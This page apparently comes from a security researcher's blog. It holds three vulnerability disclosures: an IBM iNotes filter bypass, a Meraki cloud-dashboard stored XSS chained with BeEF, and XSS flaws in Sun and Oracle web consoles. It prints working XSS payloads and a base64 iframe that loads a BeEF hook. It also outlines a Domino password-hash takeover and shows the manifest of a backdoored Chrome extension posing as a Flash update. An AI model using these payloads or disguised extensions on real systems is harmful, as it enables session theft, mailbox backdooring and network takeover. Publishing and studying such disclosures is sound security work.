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August 09 2013


All your (iNotes) emails are belong to me

This post describes a critical bypass of the Active Content Filtering (ACF) mechanism that is implemented in IBM iNotes to avoid the inclusion of malicious HTML tags as part of emails. The bug has been identified during a web application penetration test, and can be exploited to perform stored Cross-Site Scripting (XSS) attacks. The bypass has been successfully verified with IBM iNotes 9 and an official bulletin and fix have been released on August 1st, 2013.

From zero to Domino admin in a matter of hours

Early this spring I have been asked to assess the security of the mail infrastructure owned by a big company here in Italy. Pentesting the Domino/Notes/iNotes ecosystem is nowadays a piece of cake because of the large amount of publicly available documentation, advisories and tools.

If you are interested in testing this kind of infrastructure, I would recommend the following resources.

First of all, Marco Ivaldi's script can be used to automatically download all users' password hashes, together with details about every single account (e.g. name, surname, e-mail address, etc.). By simply accessing the names.nsf web resource, the tool extracts the desired information disclosed by the hidden attribute named HTTPPassword. The extracted hashes can be easily cracked using John The Ripper: William Ghote gave a great talk at BSides Las Vegas 2012 detailing the Lotus Notes password cracking process.

Finally, Penetration from application down to OS - Lotus Domino by Alexandr Polyakov and Lotus Domino: Penetration Through the Controller by Alexey Sintsov complete the picture providing even more details on how to pentest Lotus Domino deployments.

The links above are amazing resources that describe step by step how to easily hack into a mail infrastructure based on IBM solutions. As for my experience, a standard attack pattern to breach the Domino/iNotes infrastructure and access every company's e-mail accounts can be schematized as follow:

  1. Identify the location/path of the names.nsf web resource;
  2. Identify the user(s) with administrative privileges;
  3. Verify the user's password hash disclosure via the HTTPPassword hidden attribute;
  4. Get all the administrators' password hashes;
  5. Crack the so obtained hashes with John the Ripper;
  6. Log into the Domino Web Administrator application and have a drink.

The whole process took less than 30 hours and I can't hide that, at least for this time, this task was as easy as cut and paste of known attacks against an outdated environment. As my pentest objectives were quickly accomplished, I decided to turn my job into a security research session. Because of that, I dedicated the rest of the engagement to verifying the effectiveness of the aforementioned ACF mechanism.

Active Content Filtering (ACF) vulnerability details

The analysis of the filter started with injecting simple and well-known XSS attack vectors, in order to understand the underlying logic and spot potential defects. On the basis of my analysis - that must be considered an incomplete understanding of the filter's internals, based exclusively on black box observations - ACF tries to block malicious HTML tags by both commenting JavaScript code, specified by the <script> tag, and normalizing/filtering tag attributes that could lead to client-side code execution (e.g. by eliminating the onXYZ event handlers, such as onerror or onmouseover). During the engagement, I found that the filtering feature is not properly implemented and allows an attacker to inject arbitrary attributes. In details, what I found is that the ACF is not able to correctly sanitize the sequence of characters src="<. For the sake of clarity, the following attack payload:

<img src="< onerror=alert(1) src=x>

would be transformed in:

<img < onerror=alert(1) src=x>

resulting in the JavaScript alert method execution. Figure 1 shows how the above vector is incorrectly treated and used to set the BodyHtml variable - which contains the mail's HTML body message.

Figure 1 - Bypass of the ACF mechanism and injection of JavaScript code.


The ACF bypass can be effectively abused to perform stored XSS attacks against iNotes users. In a real-world attack scenario, the bug could not only be exploited to perform Session Hijacking but also combined with Cross-Site Request Forgery (CSRF) to add a new e-mails forwarding rule to the victim's iNotes application, thus effectively backdooring the victim's mailbox. 

The following video demonstrates the execution of arbitrary JavaScript thanks to the described vulnerability. Moreover, it shows how the mail preview mechanism, if enabled, implies that the victim is not required to open the message in order to trigger the execution of JavaScript code - greatly reducing the required user iteration: 

Finally, I would like to thank my fellow Sandro Zaccarini and Leonardo Rizzi for providing me the infrastructure to properly investigate this issue, and IBM Product Security Incident Response Team (PSIRT) for their timely responses and professionalism.

March 11 2013


Subverting a cloud-based infrastructure with XSS and BeEF

Well, the world is changing. You can probably do a lot more direct damage with a XSS in a high-value site than with a local privilege escalation in sudo [...] - lcamtuf@coredump.cx
If you are intrigued by sophisticated exploits and advanced techniques, Cross-Site Scripting isn't probably the most appealing topic for you. Nevertheless, recent events demonstrated how this class of vulnerabilities has been used to compromise applications and even entire servers.

Today, we are going to present a possible attack scenario based on a real-life vulnerability that has been recently patched by the Meraki team. Although the vulnerability itself isn't particularly interesting, it is revealing how a trivial XSS flaw can be abused to subvert an entire network infrastructure.


Meraki is the first cloud-managed network infrastructure company and it's now part of Cisco Systems. The idea is pretty neat: all network devices and security appliances (wired and wireless) can be managed by a cutting-edge web interface hosted in the cloud, allowing Meraki networks to be completely set up and controlled through the Internet. Many enterprises, universities and numerous other businesses are already using this technology.

As usual, new technologies introduce opportunities and risks. In such environments, even a simple Cross-Site Scripting or a Cross-Site Request Forgery vulnerability can affect the overall security of the managed networks.

The vulnerability

During a product evaluation of a cloud managed Wireless Access Point, we noticed the possibility to personalize the portal splash page.  Users accessing your WiFi network can be redirected to a custom webpage (e.g. containing a disclaimer) before accessing Internet.

To further customize our splash page, we started including images and other HTML tags. With big surprise, we quickly discovered that just a basic HTML/JS validation was performed in that context. As a result, we were able to include things like:

What was even more interesting is the fact that the splash page is also hosted in the cloud. Unlike traditional WiFi APs where the page is hosted on the device itself, Meraki appliances use cloud resources.

https://n20.meraki.com/splash/?mac=XXXX&client_ip=XXXX&client_mac=XXXX&vap=0&a=XXXX&b=XXXX&auth_version=5&key=ef1115d... AUTH_KEY...d41c283&node_ip=XXXX&acl_ver=XXXX&continue_url=http%3A%2F%2Fwww.google.com

To protect that page from random visitors, a unique token is used for authentication. Assuming you provide the right token and other required parameters, that page is accessible to Internet users.

Now, let's add to the mix that Meraki uses a limited number of domains for all customers (e.g. n1-29.meraki.com, etc.) and, more importantly, that the dashboard session token is scoped to *.meraki.com. This factor turns the stored XSS affecting our own device's domain to a vulnerability that can be abused to retrieve the dashboard cookie of other users and networks. 

Attack scenario

An attacker with access to a Meraki dashboard can craft a malicious JS payload to steal the dashboard session cookie and obtain access to other users' devices. In practice, this allows to completely take over Meraki's wired and wireless networks.

BeEF, the well-know Browser Exploitation Framework, has been used to simulate a realistic attack:

  1. The attacker customizes the splash page of his/her WiFi AP with an arbitrary JS payload, which includes the BeEF hook 
  2. Connecting a device to the physical wireless network controlled by the attacker (e.g. a testing device), it is possible to retrieve the URL of the splash page including the unique token 
  3. Using social engineering, the attacker tricks the victim(s) into visiting the attacker-controlled splash page
  4. At this point, the victim browser is hooked in BeEF
  5. Using one of the available BeEF modules, the attacker can retrieve the HttpOnly dash_auth cookie and get access to the victim's Meraki dashboard 
  6. In the case of Meraki WiFi Access Point, a convenient map will display the position of the device. In the config tab, it is also possible to disclose the network's password. At this stage, the actual network can be fully controlled by the attacker


A demonstration video of the attack is also available:

For the interested readers, a few technical details are also shared:
  • Cookie flags (e.g. HttpOnly) are the ASLR/DEP of browser security. It is possible to bypass those mitigation techniques,  although it's getting more complex. Thanks to the progress of browser security and general awareness, stealing cookies marked as HttpOnly via JS payload isn't trivial anymore. Cross Site Tracing and similar techniques are obsolete. Browser plugins have been also patched. Besides exploiting specific servers or browsers bugs, attackers can only rely on social engineering tricks. During our Proof-of-Concept, a fake Flash update has been used to install a malicious Chrome extension and get access to all cookies
  • Chrome extensions run with different privileges than normal JavaScript code executed by the renderer. A Chrome extension can override default SOP restrictions and issue cross-domain requests reading the HTTP response, accessing other browser tabs, and also reading every cookie including those marked as HttpOnly. The manifest of the deliberately backdoored Chrome Extension is the following. The background.js file loads the BeEF hook.

      "name": "Adobe Flash Player Security Update",
      "manifest_version": 2,
      "version": "11.5.502.149",
      "description": "Updates Adobe Flash Player with latest securty updates",
      "background": {
        "scripts": ["background.js"]
      "content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self'",
      "icons": { 
        "16": "icon16.png",
        "48": "icon48.png",
        "128": "icon128.png" 
      "permissions": [

    Not to blame Google, but just FYI when the backdoored Chrome Extension was uploaded to Google Chrome Webstore, it was available straight after the upload. No checks were made by the application, for example to prevent the upload of an extension with very relaxed permissions, unsafe-eval CSP directive, and Name/Description fields containing an obviously fake content such as "Adobe Flash Update" 
  • Choosing Google Chrome as target browser required to bypass XSS Auditor, the integrated Anti-XSS filter. As discovered by Mario Heiderich, the data URI schema with base64 content can be leverage to bypass the filter. The following code snippet will trigger the classic alert(1), even on the latest Google Chrome at the time of writing (version 24.0.1312.71)

  • The final attack vector to inject the initial BeEF hook in Meraki's page is:

    <iframe src="data:text/html;base64,PHNjcmlwdD5zPWRvY3VtZW50LmNyZ

    And what is actually executed is:

    <script> s=document.createElement('script'); s.type='text/javascript'; s.src=''; document.getElementsByTagName('head')[0].appendChild(s); </script>

    Having a backdoored Chrome Extension running in your browser opens for many new attack vectors wich we din't covered in the PoC. For example, it is possible to inject the BeEF hook in every open tab (you can get the impact of this :-), or use the victim browser as an open proxy using BeEF's Tunneling Proxy component and many other attacks

This blog post is brought to you by @_ikki (NibbleSec) and @antisnatchor (BeEF core dev team).
Thanks to Meraki for the prompt response and the great service.

July 22 2009


XSS flaws are boring!

Cross-Site Scripting flaws are quite unexciting from the technical point of view. Don't you think?

Most of the time, it is not challenging to look for XSS vulnerabilities since lot of applications do not provide input validation at all against this specific attack. In addition, the application entry points are so copious that it is like to shoot in a crowded square (well, never tried).

However, they still exist and we still have to report them.
We will probably all agree about the dangerous effects of such client side attack. We have seen several real life threats (e.g. CriticalPath Vulnerability, Twitter Worm Attack, StrongWebmail) as well as we know efficient (sufficient?) protection mechanisms (e.g. NoScript, OWASP ESAPI, Secure Coding).

Having said that, I would like to point out a couple of trivial security flaws I have discovered in the last months: (A) Sun Java Web Console Multiple Cross Site Scripting and yet another (B) Oracle Application Server 10g (v9.x) Cross Site Scripting.

(A) Just because I believe in full disclosure, let's specify the unspecified input (as reported by the vendor). Due to the lack of input filtering within the "HELP" resources, it is possible to inject JS code and trigger XSS attacks. During my audit, several attack vectors were found:

Parameters: windowTitle, helpFile, pageTitle, mastheadUrl, mastheadDescription, jspPath

Parameters: mastheadUrl, pageTitle

PoC example: https://IP:PORT/console/faces/com_sun_web_ui/help/helpwindow.jsp?&windowTitle=&helpFile=%22%3E%3C/FRAMESET%3E%3CFRAME%20SRC=%22javascript:alert(%27XSS%27);%22%3E%3C!--

(B) In case of OC4J, the problem is triggered with malformed requests containing invalid HTTP methods.
G<script>alert(123);</script>ET /servlet/ HTTP/1.1

501 Not Implemented
Method G<script>alert(123);</script>ET is not defined in RFC 2068 and is not supported by the Servlet API
Versions and likely all the 10.x releases are not vulnerable.
Oracle support for the J2EE application container 9.x ended in December 2008, according to the Oracle's Lifetime Support Policy. However, they still provide this insecure software here. From my experience, I've seen several installations of such outdated and unsupported software within corporations. As you can easily imagine, it means no patch...sad indeed.
Tags: ikki xss owasp
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